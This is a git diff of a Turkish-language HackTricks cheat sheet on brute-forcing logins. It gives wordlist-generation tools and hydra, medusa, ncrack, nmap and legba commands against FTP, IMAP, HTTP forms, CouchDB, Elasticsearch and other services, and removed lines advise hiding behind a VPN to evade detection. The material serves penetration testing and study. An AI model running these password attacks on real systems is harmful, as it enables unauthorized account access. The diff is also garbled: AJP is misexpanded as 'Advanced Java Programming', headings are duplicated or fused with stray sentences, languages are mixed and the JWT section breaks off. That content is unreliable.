-* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
## Varsayılan Kimlik Bilgileri
-Kullanılan teknolojinin varsayılan kimlik bilgilerini aramak için **Google'da arama yapın** veya **bu bağlantıları deneyin**:
+Kullanılan teknolojinin varsayılan kimlik bilgilerini aramak için google'da arama yapın veya **bu bağlantıları deneyin**:
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@@ -37,11 +37,11 @@ Kullanılan teknolojinin varsayılan kimlik bilgilerini aramak için **Google'da
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
-* [**https://theinfocentric.com/**](https://theinfocentric.com/)
+* [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **Kendi Sözlüklerinizi Oluşturun**
-Hedefle ilgili olarak mümkün olduğunca fazla bilgi bulun ve özel bir sözlük oluşturun. Yardımcı olabilecek araçlar:
+Hedefle ilgili mümkün olduğunca fazla bilgi bulun ve özel bir sözlük oluşturun. Yardımcı olabilecek araçlar:
### Crunch
```bash
@@ -56,15 +56,7 @@ crunch 6 8 -t ,@@^^%%
```
### Cewl
-Cewl, bir hedef web sitesinden metin çekmek için kullanılan bir araçtır. Bu araç, web sitesinin içeriğini analiz eder ve belirli bir kelime veya kelime grubunu içeren metinleri toplar. Bu, bir saldırganın hedef web sitesindeki kullanıcı adları, e-posta adresleri veya diğer hassas bilgileri bulmasına yardımcı olabilir.
-
-Cewl'ün kullanımı oldukça basittir. İlk olarak, hedef web sitesinin URL'sini belirtmeniz gerekmektedir. Ardından, araştırmak istediğiniz kelime veya kelime grubunu belirleyin. Cewl, web sitesinin içeriğini tarayacak ve belirtilen kelime veya kelime grubunu içeren metinleri toplayacaktır.
-
-Cewl'ün çıktısı, toplanan metinleri içeren bir dosyadır. Bu dosyayı daha sonra analiz etmek veya başka bir saldırı yöntemi için kullanmak için kullanabilirsiniz. Cewl, bir hedef web sitesinin içeriğini hızlı bir şekilde tarayarak, saldırganlara hedefe yönelik daha spesifik saldırılar yapma imkanı sağlar.
-
-Cewl, bir brute force saldırısı için önemli bir kaynak olabilir. Saldırganlar, topladıkları metinleri kullanarak kullanıcı adı ve şifre kombinasyonlarını deneyebilirler. Bu, zayıf şifreler kullanan kullanıcı hesaplarını ele geçirmek için kullanılan yaygın bir saldırı yöntemidir.
-
-Cewl, bir saldırganın hedef web sitesindeki metinleri toplamasına yardımcı olan güçlü bir araçtır. Ancak, bu aracın yasal ve etik kullanımlarını hatırlamak önemlidir. Sadece yasal izinlerle ve etik sınırlar içinde kullanılmalıdır.
+Cewl, bir web sitesinden metin çıkarmak için kullanılan bir araçtır. Bu araç, web sitesindeki metinleri analiz eder ve belirli kelimeleri veya cümleleri çıkararak bir kelime listesi oluşturur. Bu liste daha sonra şifre kırma saldırılarında kullanılabilir.
```bash
cewl example.com -m 5 -w words.txt
```
@@ -76,7 +68,7 @@ python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
-Wister, bir kelime listesi oluşturma aracıdır. Bu araç, belirli bir hedefle ilgili olarak kullanmak için benzersiz ve ideal bir kelime listesi oluşturmanıza olanak tanır. Verilen kelimelerden birden fazla varyasyon oluşturmanıza imkan sağlar.
+Belirli bir hedefle ilgili kullanmak için benzersiz ve ideal bir kelime listesi oluşturmanıza olanak tanıyan bir kelime listesi oluşturma aracıdır.
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
@@ -110,10 +102,10 @@ Finished in 0.920s.
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -132,138 +124,53 @@ msf> set PASS_FILE
msf> set USER_FILE
msf> run
```
-#### AJP
+### AJP
-AJP (Apache JServ Protocol) is a protocol used by Apache Tomcat to communicate with web servers. It is similar to the HTTP protocol but is more efficient for communication between the web server and the application server.
-
-A common vulnerability in AJP is the ability to perform a brute force attack on the AJP port (usually port 8009). Brute force attacks involve systematically trying all possible combinations of usernames and passwords until the correct credentials are found.
-
-To perform a brute force attack on the AJP port, you can use tools like Hydra or Burp Suite. These tools allow you to automate the process of trying different usernames and passwords.
-
-When performing a brute force attack on the AJP port, it is important to use a strong password list and to set a reasonable delay between each attempt to avoid detection. Additionally, it is recommended to use a VPN or proxy to hide your IP address and avoid being blocked by the target server.
-
-If successful, a brute force attack on the AJP port can allow an attacker to gain unauthorized access to the application server and potentially compromise the entire system. Therefore, it is important to ensure that strong passwords are used and that the AJP port is properly secured to prevent brute force attacks.
+AJP, Advanced Java Programming, is a protocol used by Apache Tomcat to communicate with a web server. It stands for Apache JServ Protocol.
```bash
nmap --script ajp-brute -p 8009
```
-## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM ve Solace)
-
-AMQP (Advanced Message Queuing Protocol - Gelişmiş Mesaj Sıralama Protokolü), mesaj tabanlı uygulamalar arasında güvenli ve etkili bir iletişim sağlamak için kullanılan bir protokoldür. AMQP, birçok popüler mesaj sıralama sistemini destekler, bunlar arasında ActiveMQ, RabbitMQ, Qpid, JORAM ve Solace bulunur.
-
-Bu sistemlerin birçoğu, kullanıcı kimlik doğrulama ve yetkilendirme için kullanıcı adı ve parola tabanlı bir mekanizma sunar. Brute force saldırıları, bu sistemlere yetkisiz erişim sağlamak için kullanılabilir. Brute force saldırıları, bir kullanıcının hesabına birden çok parola deneyerek giriş yapmaya çalışır.
-
-Brute force saldırılarına karşı korunmak için, güçlü ve karmaşık parolalar kullanılmalıdır. Ayrıca, hesap kilitlenme politikaları ve oturum süreleri gibi güvenlik önlemleri de uygulanmalıdır.
+## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
```
-# Cassandra
+### Cassandra
-Cassandra, Apache tarafından geliştirilen ve dağıtılmış bir veritabanı yönetim sistemidir. Büyük ölçekli ve yüksek performanslı uygulamalar için tasarlanmıştır. Cassandra, dağıtılmış mimarisi sayesinde yüksek ölçeklenebilirlik ve yüksek kullanılabilirlik sağlar.
-
-Cassandra'nın güvenliği, kullanıcı kimlik doğrulama ve yetkilendirme mekanizmalarıyla sağlanır. Kullanıcılar, roller ve izinler aracılığıyla veritabanına erişim kontrolü yapabilirler.
-
-Brute force saldırıları, Cassandra'nın güvenliğini zayıflatabilir. Brute force saldırısı, tüm olası kombinasyonları deneyerek kullanıcı adı ve şifreleri tahmin etmeye çalışır. Bu saldırı türü, zayıf veya tahmin edilebilir şifreler kullanıldığında etkili olabilir.
-
-Cassandra'da brute force saldırılarını önlemek için bazı önlemler alınabilir. Bunlar şunları içerir:
-
-- Güçlü şifre politikaları uygulamak: Kullanıcıların karmaşık ve tahmin edilemez şifreler kullanmalarını sağlamak için şifre politikaları belirlenmelidir.
-- Kullanıcı hesaplarını kilitlenme: Belirli bir süre boyunca yanlış şifre denemeleri yapan kullanıcı hesaplarını otomatik olarak kilitlenmek.
-- İki faktörlü kimlik doğrulama kullanmak: Kullanıcıların şifrelerinin yanı sıra bir doğrulama kodu veya anahtar kullanarak kimliklerini doğrulamalarını sağlamak.
-
-Bu önlemler, brute force saldırılarını önlemeye yardımcı olabilir ve Cassandra'nın güvenliğini artırabilir. Ancak, güvenlik açıklarını tespit etmek ve düzeltmek için düzenli olarak güvenlik denetimleri yapmak önemlidir.
+Cassandra, Apache Software Foundation tarafından geliştirilen ve dağıtılan açık kaynaklı bir NoSQL veritabanıdır. Cassandra, yüksek performanslı ve ölçeklenebilir dağıtılmış sistemler için tasarlanmıştır. Veriler, birden fazla sunucu üzerinde dağıtılarak depolanır ve veritabanı hizmeti sağlar. Cassandra'nın dağıtılmış doğası, yüksek kullanılabilirlik ve dayanıklılık sağlar.
```bash
nmap --script cassandra-brute -p 9160
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
```
-#### Brute Force
+### CouchDB
-CouchDB is a NoSQL database that can be vulnerable to brute force attacks if weak or default credentials are used. Brute forcing is a technique where an attacker systematically tries all possible combinations of usernames and passwords until the correct one is found.
-
-To perform a brute force attack on CouchDB, you can use tools like Hydra or Medusa. These tools allow you to automate the process of trying different username and password combinations against the CouchDB login page.
-
-Here is an example command using Hydra:
-
-```plaintext
-hydra -L users.txt -P passwords.txt http-post-form "/_session:username=^USER^&password=^PASS^:F=incorrect" -V
-```
-
-In this command, `users.txt` and `passwords.txt` are files containing a list of usernames and passwords to try. `` should be replaced with the IP address of the CouchDB server.
-
-It is important to note that brute forcing is a time-consuming process and may be detected by intrusion detection systems (IDS) or rate limiting mechanisms. Therefore, it is recommended to use a targeted approach, such as using a wordlist that includes common passwords or trying default credentials.
-
-If successful, a brute force attack can give an attacker unauthorized access to the CouchDB database, allowing them to view, modify, or delete data. To protect against brute force attacks, it is essential to use strong, unique passwords and consider implementing additional security measures such as account lockouts or multi-factor authentication.
+CouchDB, bir HTTP API'si üzerinden çalışan bir NoSQL veritabanıdır. Brute force saldırıları, kullanıcı adı ve parola kombinasyonlarını deneyerek sisteme yetkisiz erişim sağlamaya çalışan bir saldırı türüdür. Bu tür saldırılar, güçlü ve karmaşık parolalar kullanılarak engellenebilir.
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Docker Registry
-Docker Registry, Docker imajlarını depolamak ve paylaşmak için kullanılan bir bileşendir. Docker Registry, Docker Hub gibi bir bulut hizmeti olarak kullanılabilir veya kendi özel Docker Registry'nizi oluşturabilirsiniz.
-
-Docker Registry'ye erişmek için, Docker istemcisini kullanarak imajları çekebilir ve gönderebilirsiniz. Docker Registry'ye erişmek için yetkilendirme gerektiğinde, kullanıcı adı ve parola veya bir kimlik doğrulama belirteci kullanmanız gerekebilir.
-
-Docker Registry'ye brute force saldırıları, kullanıcı adı ve parola kombinasyonlarını deneyerek yetkilendirme bilgilerini elde etmeye çalışır. Bu saldırı türü, zayıf veya tahmin edilebilir parolaları hedef alır ve otomatik olarak bir dizi kullanıcı adı ve parola kombinasyonunu deneyerek başarılı bir giriş yapmayı hedefler.
-
-Docker Registry'ye brute force saldırılarından korunmak için güçlü ve karmaşık parolalar kullanmanız önemlidir. Ayrıca, kullanıcı adı ve parola kombinasyonlarını sınırlayan bir giriş deneme sınırı ayarlamak da faydalı olabilir.
+### Docker Kayıt Defteri
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```
-# Elasticsearch
+### Elasticsearch
-Elasticsearch, açık kaynaklı bir arama ve analiz motorudur. Genellikle büyük miktarda veriyi hızlı bir şekilde depolamak, aramak ve analiz etmek için kullanılır. Elasticsearch, dağıtık bir yapıya sahiptir ve verileri parçalara ayırarak birden fazla düğümde depolar. Bu sayede yüksek performans ve ölçeklenebilirlik sağlar.
-
-Elasticsearch, RESTful API üzerinden iletişim kurar ve JSON formatında veri alışverişi yapar. Bu sayede farklı programlama dilleri ve platformlar arasında kolayca entegre edilebilir.
-
-Elasticsearch, genellikle log analizi, metin arama, gerçek zamanlı analiz gibi uygulamalarda kullanılır. Ayrıca, Elasticsearch'in güçlü sorgulama yetenekleri sayesinde karmaşık sorgular yapmak da mümkündür.
-
-Elasticsearch, güvenlik önlemleriyle donatılmıştır. Kullanıcı yetkilendirmesi, erişim kontrol listeleri ve şifreleme gibi özellikler sunar. Ancak, hatalı yapılandırma veya zayıf şifreler gibi güvenlik açıkları, Elasticsearch'e karşı brute force saldırılarına yol açabilir.
-
-Brute force saldırısı, bir hedef sistemdeki kullanıcı hesaplarının şifrelerini tahmin etmek için otomatik olarak bir dizi olası şifre denemesi yapma yöntemidir. Elasticsearch üzerinde brute force saldırısı gerçekleştirmek için çeşitli araçlar ve yöntemler mevcuttur.
-
-Brute force saldırılarını önlemek için, Elasticsearch'in güvenlik ayarlarının doğru bir şekilde yapılandırılması önemlidir. Güçlü şifreler kullanılmalı, kullanıcı hesapları için sınırlamalar getirilmeli ve giriş denemeleri için otomatik engelleme mekanizmaları etkinleştirilmelidir.
-
-Ayrıca, Elasticsearch sunucusuna erişimi sınırlamak için güvenlik duvarı veya ağ düzeyindeki diğer önlemler de alınmalıdır. Güncellemelerin düzenli olarak uygulanması ve güvenlik açıklarının izlenmesi de önemlidir.
-
-Sonuç olarak, Elasticsearch'in güvenliğini sağlamak için doğru yapılandırma ve güvenlik önlemlerinin alınması gerekmektedir. Brute force saldırılarına karşı korunmak için güçlü şifreler kullanılmalı ve giriş denemeleri için otomatik engelleme mekanizmaları etkinleştirilmelidir.
+Elasticsearch, birçok farklı senaryoda kullanılan popüler bir arama ve analiz motorudur. Elasticsearch üzerinde brute force saldırıları gerçekleştirmek için çeşitli araçlar ve yöntemler bulunmaktadır. Bu saldırılar genellikle zayıf şifrelerin tespit edilmesi veya şifrelerin kaba kuvvet yöntemiyle kırılması amacıyla gerçekleştirilir. Elasticsearch üzerinde brute force saldırıları gerçekleştirmek için Hydra, Patator ve Burp Suite gibi araçlar kullanılabilir. Bu araçlar, farklı protokoller ve hedefler üzerinde kaba kuvvet saldırıları gerçekleştirmek için kullanılabilir. Elasticsearch üzerinde güvenlik açıklarını tespit etmek ve önlem almak için düzenli olarak güvenlik testleri yapılması önemlidir.
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```
### FTP
-FTP (File Transfer Protocol), dosya transferi için kullanılan bir ağ protokolüdür. Bir sunucu ve bir istemci arasında dosya transferi yapmak için kullanılır. FTP, sunucuya bağlanmak ve dosyaları yüklemek veya indirmek için kullanıcı adı ve parola gerektirir.
-
-#### Brute Force Saldırısı
-
-Brute force saldırısı, bir hesaba veya sisteme yetkisiz erişim elde etmek için tüm olası kombinasyonları deneyerek gerçekleştirilen bir saldırı türüdür. FTP brute force saldırısı, bir saldırganın FTP sunucusuna erişmek için tüm olası kullanıcı adı ve parola kombinasyonlarını denemesini içerir.
-
-#### FTP Brute Force Saldırısını Gerçekleştirmek
-
-FTP brute force saldırısını gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz:
-
-1. Hedef FTP sunucusunun IP adresini belirleyin.
-2. Bir brute force aracı kullanarak kullanıcı adı ve parola kombinasyonlarını denemek için bir wordlist oluşturun.
-3. Brute force aracını kullanarak hedef FTP sunucusuna tüm olası kombinasyonları deneyin.
-4. Başarılı bir şekilde kullanıcı adı ve parolayı bulduğunuzda, hedef FTP sunucusuna yetkisiz erişim elde etmiş olursunuz.
-
-#### FTP Brute Force Saldırısını Önlemek
-
-FTP brute force saldırısını önlemek için aşağıdaki önlemleri alabilirsiniz:
-
-1. Güçlü ve karmaşık parolalar kullanın.
-2. Oturum açma denemelerini sınırlayın ve belirli bir süre boyunca hesabı kilitli tutun.
-3. IP adresi tabanlı erişim kontrolü kullanarak sadece güvenilir IP adreslerinden gelen bağlantılara izin verin.
-4. FTP sunucusunu güncel tutun ve güvenlik yamalarını düzenli olarak uygulayın.
-5. İki faktörlü kimlik doğrulama kullanarak güvenliği artırın.
-
-FTP brute force saldırısı, zayıf parolaları hedef alır ve yetkisiz erişim elde etmek için çok sayıda deneme yapar. Bu nedenle, güçlü parolalar kullanmak ve güvenlik önlemlerini uygulamak önemlidir.
+FTP, File Transfer Protocol olarak bilinir. Bir sunucuya dosya aktarmak veya sunucudan dosya indirmek için kullanılır. Brute force saldırıları, genellikle zayıf şifrelerin kırılmasında kullanılır. Saldırgan, oturum açma ekranına bir dizi şifre deneyerek doğru şifreyi bulmaya çalışır. Bu saldırı türü, oturum açma ekranına erişim sağlayan bir araç kullanılarak otomatikleştirilebilir.
```bash
hydra -l root -P passwords.txt [-t 32] ftp
ncrack -p 21 --user root -P passwords.txt [-T 5]
medusa -u root -P 500-worst-passwords.txt -h -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
```
-### HTTP Genel Brute
+### HTTP Genel Kaba Kuvvet
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
@@ -276,141 +183,73 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
```
### HTTP - NTLM
-NTLM, Windows NT LAN Manager, bir kimlik doğrulama protokolüdür. NTLM, Windows işletim sistemlerinde kullanılan bir güvenlik mekanizmasıdır. NTLM, HTTP üzerinden kimlik doğrulama yapmak için kullanılabilir.
-
-NTLM kimlik doğrulama, kullanıcı adı ve şifre kombinasyonunu kullanarak kimlik doğrulama yapar. Bu kimlik doğrulama yöntemi, brute force saldırılarına karşı savunmasız olabilir. Brute force saldırıları, tüm olası şifre kombinasyonlarını deneyerek doğru şifreyi bulmaya çalışır.
-
-NTLM brute force saldırıları, genellikle bir wordlist veya şifre kombinasyonları listesi kullanılarak gerçekleştirilir. Saldırgan, hedefin NTLM kimlik doğrulama sunucusuna doğrudan erişim sağlamak için bir HTTP isteği gönderir. Ardından, saldırgan, wordlist veya şifre kombinasyonları listesindeki her bir şifreyi deneyerek doğru şifreyi bulmaya çalışır.
-
-NTLM brute force saldırılarına karşı korunmak için, güçlü ve karmaşık şifreler kullanılmalıdır. Ayrıca, hesap kilitlenme politikaları ve oturum süreleri gibi güvenlik önlemleri de uygulanmalıdır.
+### HTTP - NTLM
```bash
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
```
### HTTP - Post Form
-#### Introduction
+#### Brute Force
-HTTP Post Form is a common method used to send data to a server. It is widely used in web applications for various purposes, such as submitting login credentials, submitting search queries, or submitting data to be processed.
+Brute force is a straightforward attack method that tries all possible combinations of a password until the correct one is found. This method can be used to crack passwords for authentication in web applications, including login forms.
-#### Brute Forcing HTTP Post Forms
+#### Tools
-Brute forcing HTTP Post Forms involves systematically trying different combinations of input values in order to find the correct combination that allows access to a protected resource or performs a specific action.
+There are various tools available for performing brute force attacks on web applications. Some popular tools include Hydra, Medusa, and Burp Suite.
-#### Steps to Brute Force HTTP Post Forms
+#### Methodology
-1. Identify the target: Determine the URL of the target web application and locate the login or form submission page.
+1. Identify the login form: Use browser developer tools to inspect the login form and determine the parameters required for authentication.
-2. Analyze the form: Inspect the HTML source code of the form to identify the input fields and their corresponding names.
+2. Choose a tool: Select a suitable brute force tool based on the target application and your requirements.
-3. Prepare a wordlist: Create a wordlist containing possible values for each input field. This can include common passwords, dictionary words, or any other relevant values.
+3. Configure the tool: Set the target URL, parameters, and wordlist (list of passwords) in the brute force tool.
-4. Automate the process: Use a tool or script to automate the process of sending HTTP Post requests with different combinations of input values from the wordlist.
+4. Start the attack: Initiate the brute force attack using the selected tool. Monitor the progress and wait for the tool to find the correct password.
-5. Handle responses: Analyze the responses received from the server to determine if the attempted combination was successful. This can be done by checking for specific error messages, redirects, or changes in the application's behavior.
+5. Analyze the results: Once the tool successfully cracks the password, analyze the results and use the credentials for further exploitation if needed.
-6. Iterate and refine: Repeat the process with different wordlists or modify the existing wordlist based on the observed responses. This helps to increase the chances of finding the correct combination.
+#### Prevention
-#### Tips for Brute Forcing HTTP Post Forms
-
-- Use a tool or script that allows for rate limiting to avoid triggering account lockouts or IP bans.
-
-- Prioritize input fields that are more likely to contain sensitive information, such as usernames or passwords.
-
-- Consider using a proxy or VPN to hide your IP address and avoid detection.
-
-- Be mindful of legal and ethical considerations when performing brute force attacks. Always obtain proper authorization and ensure you are not violating any laws or regulations.
-
-#### Conclusion
-
-Brute forcing HTTP Post Forms can be an effective technique for gaining unauthorized access or discovering vulnerabilities in web applications. However, it is important to use this technique responsibly and within the boundaries of the law. Always obtain proper authorization and exercise caution to avoid causing harm or legal consequences.
+To prevent brute force attacks, web applications can implement measures such as account lockout after multiple failed login attempts, CAPTCHA challenges, and enforcing strong password policies.
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
```
-http**s** için "http-post-form"dan "**https-post-form"** olarak değiştirmeniz gerekmektedir.
-
-### **HTTP - CMS --** (W)ordpress, (J)oomla veya (D)rupal veya (M)oodle
+### **HTTP - CMS --** (W)ordpress, (J)oomla veya (D)rupal veya (M)oodle için "http-post-form"dan "**https-post-form"**'a değiştirmeniz gerekmektedir.
```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP
```
-IMAP (Internet Message Access Protocol), bir e-posta istemcisi ve e-posta sunucusu arasında iletişim kurmak için kullanılan bir protokoldür. IMAP, e-posta mesajlarını sunucuda tutar ve istemciye sadece gerekli olanları gönderir. Bu, e-postaların istemci cihazda depolanmasını gerektirmez ve birden fazla cihaz arasında senkronizasyon sağlar.
+### IMAP
-IMAP brute force saldırısı, bir saldırganın IMAP sunucusuna birden fazla kullanıcı adı ve şifre kombinasyonu deneyerek yetkisiz erişim elde etmeye çalıştığı bir saldırı türüdür. Bu saldırı, zayıf şifreler veya kullanıcı adı ve şifre kombinasyonlarının tahmin edilebilir olması durumunda etkili olabilir.
-
-IMAP brute force saldırısını gerçekleştirmek için, saldırgan bir brute force aracı kullanır ve hedef IMAP sunucusuna bağlanır. Ardından, farklı kullanıcı adı ve şifre kombinasyonlarını denemek için otomatik olarak istekler gönderir. Saldırgan, doğru kullanıcı adı ve şifre kombinasyonunu bulana kadar bu işlemi tekrarlar.
-
-Bu tür bir saldırıya karşı korunmanın en iyi yolu, güçlü ve karmaşık şifreler kullanmaktır. Ayrıca, IMAP sunucusunda oturum açma denemelerini sınırlayan bir güvenlik önlemi uygulamak da faydalı olabilir.
+IMAP, Internet Mesaj Erişim Protokolü'nü ifade eder. IMAP sunucularına karşı brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını denemek için gerçekleştirilir. Bu saldırılar, oturum açma bilgilerini elde etmek ve hassas e-posta verilerine erişmek amacıyla gerçekleştirilir. Saldırganlar genellikle oturum açma sayısını sınırlamak ve oturum açma girişimlerini geciktirmek için çeşitli teknikler kullanırlar.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V
nmap -sV --script imap-brute -p
legba imap --username user --password data/passwords.txt --target localhost:993
```
-IRC (Internet Relay Chat), İnternet üzerinde gerçek zamanlı sohbet etmek için kullanılan bir protokoldür. IRC sunucuları ve istemcileri kullanılarak birçok kişi aynı anda sohbet edebilir. IRC, farklı kanallarda sohbet etmeyi ve özel mesajlar göndermeyi sağlar.
+### IRC
-IRC sunucuları genellikle belirli bir ağda barındırılır ve kullanıcılar bu sunuculara bağlanarak sohbet edebilir. IRC istemcileri, kullanıcıların sunuculara bağlanmasını ve sohbet etmesini sağlar.
-
-IRC brute force saldırısı, bir saldırganın IRC hesaplarının şifrelerini tahmin etmek için otomatik olarak bir dizi olası şifre denemesi yapmasını içerir. Bu saldırı, zayıf veya tahmin edilebilir şifreler kullanan kullanıcıları hedef alır.
-
-IRC brute force saldırılarını önlemek için güçlü ve karmaşık şifreler kullanmak önemlidir. Ayrıca, hesaplarınızı korumak için iki faktörlü kimlik doğrulama gibi ek güvenlik önlemleri kullanmanız önerilir.
+IRC, Internet Relay Chat, eski ama hala popüler bir iletişim protokolüdür. Brute force saldırıları genellikle IRC sunucularına karşı gerçekleştirilir. Kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılır. Bu tür saldırılar genellikle oturum açma sayfasına karşı gerçekleştirilir.
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p
```
-#### ISCSI
+### ISCSI
-ISCSI (Internet Small Computer System Interface) bir ağ protokolüdür ve SCSI (Small Computer System Interface) komutlarını TCP/IP üzerinden iletmek için kullanılır. Bu protokol, depolama alanı ağları (SAN) üzerindeki depolama cihazlarına erişim sağlar.
-
-ISCSI, bir sunucunun uzaktaki bir depolama cihazına bağlanmasını sağlar ve bu cihazı yerel bir depolama birimi gibi kullanmasına olanak tanır. Bu, sunucuların depolama kaynaklarını paylaşmasını ve merkezi bir depolama havuzuna erişim sağlamasını sağlar.
-
-ISCSI brute force saldırısı, bir saldırganın ISCSI protokolünü kullanarak bir hedef sunucuya erişmek için bir dizi olası kimlik bilgisi kombinasyonunu denemesidir. Bu saldırı, zayıf veya tahmin edilebilir kimlik bilgileri kullanılarak korunan bir ISCSI hedefine erişmek için kullanılabilir.
-
-Bu saldırı türü, saldırganın hedef sunucunun ISCSI hizmetine erişmek için bir dizi kullanıcı adı ve parola kombinasyonunu otomatik olarak denemesini gerektirir. Saldırgan, doğru kimlik bilgilerini bulana kadar farklı kombinasyonları denemeye devam eder.
-
-ISCSI brute force saldırıları, güçlü kimlik doğrulama önlemleri alınmadığında etkili olabilir. Bu nedenle, güvenlik bilincine sahip olmak ve güçlü kimlik doğrulama politikaları uygulamak önemlidir.
+### ISCSI
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260
```
-JWT (JSON Web Token), JSON Web Token olarak da bilinir, web uygulamalarında kullanılan bir kimlik doğrulama mekanizmasıdır. JWT'ler, kullanıcıların kimlik bilgilerini güvenli bir şekilde taşımak için kullanılır. JWT'ler, bir başlık, bir pay yükü ve bir imza olmak üzere üç bölümden oluşur.
+### JWT
-#### JWT Yapısı
+JWT, JSON Web Token, an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.
-JWT'nin yapısı şu şekildedir:
+### JWT
-1. Başlık (Header): JWT'nin türünü (typ) ve kullanılan algoritmayı (alg) içerir. Başlık, Base64 URL güvenli bir şekilde kodlanmıştır.
-
-2. Pay Yükü (Payload): JWT'de taşınan verileri içerir. Pay yükü, kullanıcıya özgü bilgileri (id, ad, rol vb.) içerebilir. Pay yükü de Base64 URL güvenli bir şekilde kodlanmıştır.
-
-3. İmza (Signature): JWT'nin doğrulama amacıyla kullanılan bir imzadır. İmza, başlık ve pay yükünün birleştirilip belirli bir algoritma ile şifrelenmesiyle oluşturulur.
-
-#### JWT Kullanımı
-
-JWT'ler, kullanıcı kimlik doğrulaması ve yetkilendirme için kullanılır. Bir kullanıcı başarılı bir şekilde kimlik doğrulandığında, sunucu bir JWT oluşturur ve bu JWT'yi kullanıcıya verir. Kullanıcı, bu JWT'yi her istekte sunucuya gönderir ve sunucu bu JWT'yi doğrularak kullanıcının yetkilendirilip yetkilendirilmediğini kontrol eder.
-
-JWT'lerin avantajları şunlardır:
-
-- Taşınabilirlik: JWT'ler, kullanıcı kimlik bilgilerini taşımak için kullanıldığından, kullanıcılar farklı sunucular arasında gezinebilirler.
-
-- Güvenlik: JWT'ler, imzaları sayesinde doğrulama ve bütünlük sağlar. Bu sayede, JWT'lerin içeriği değiştirilmediği sürece güvenli bir şekilde kullanılabilirler.
-
-- Ölçeklenebilirlik: JWT'ler, sunucu tarafında saklanması gereken oturum bilgilerini taşımadığından, sunucu tarafında herhangi bir durum saklamak zorunda kalmaz.
-
-#### JWT Brute Force Saldırıları
-
-JWT'lerin güvenliği, kullanılan algoritmanın güvenliği ve JWT'nin doğru şekilde uygulanmasına bağlıdır. Brute force saldırıları, JWT'nin imza bölümünü tahmin etmek için tüm olası kombinasyonları deneyerek gerçekleştirilir.
-
-JWT brute force saldırılarını önlemek için aşağıdaki önlemler alınabilir:
-
-- Güçlü bir şifreleme algoritması kullanmak: Güvenilir ve güçlü bir şifreleme algoritması kullanmak, brute force saldırılarını zorlaştırır.
-
